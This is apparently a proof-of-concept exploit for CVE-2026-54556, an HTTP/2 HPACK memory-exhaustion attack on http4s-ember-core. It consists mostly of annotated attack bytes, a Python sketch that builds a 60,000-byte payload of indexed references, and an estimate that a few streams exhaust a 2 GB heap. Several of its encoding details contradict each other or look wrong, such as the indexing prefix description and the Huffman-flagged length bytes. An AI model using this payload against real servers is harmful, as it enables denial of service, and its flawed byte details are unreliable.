CVE-2026-54556: http4s-ember-core HTTP/2 HPACK Bomb Denial of Service

# Step 1: seed the HPACK dynamic table with a large literal header
# HEADERS frame (stream 1) -- literal header representation
# Name: "x-bomb", Value: <4096-byte string>
# HPACK literal without indexing (prefix 0x40) adds the entry to the dynamic table

# Wire bytes for seeding (abbreviated; full value is 4096 'a' bytes):
# 40                  -- literal header field with incremental indexing
# 86                  -- name length 6
# 78 2d 62 6f 6d 62  -- "x-bomb"
# bf 10              -- value length 4096 (variable-length integer)
# 61 61 61 ... (x4096) -- value

# Step 2: flood with 1-byte indexed references to the just-added entry
# Each byte 0xbe (index 62, the entry we just added) is a full header reference.
# Send this in one or more CONTINUATION frames on the same stream:
# be be be be be be be be be be be be be be be be be be be be be ...
# (repeat ~60,000 times per request; ~5 concurrent streams exhaust a 2 GB heap)

# Python sketch using hyper-h2 or hpack library:
import hpack
import struct

encoder = hpack.Encoder()
# Force a large literal entry into the dynamic table
encoder.encode([(':method', 'GET'), (':path', '/'), (':scheme', 'https'),
                (':authority', 'target.example.com'),
                ('x-bomb', 'a' * 4096)])  # seeds table at index 62

# Now craft raw HPACK bytes: 60 000 single-byte indexed references to entry 62
bomb_payload = bytes([0xbe] * 60_000)  # 0xbe == 0x80 | 62 (indexed header field)

# Send seeds block in HEADERS frame, then bomb_payload split across CONTINUATION frames
# (standard h2 framing; END_HEADERS only on the final CONTINUATION)
print(f"Seed headers: {len(encoder.encode([(':method','GET')]))} bytes")
print(f"Bomb payload: {len(bomb_payload)} bytes -> decodes to ~{60_000 * 4102} bytes in memory")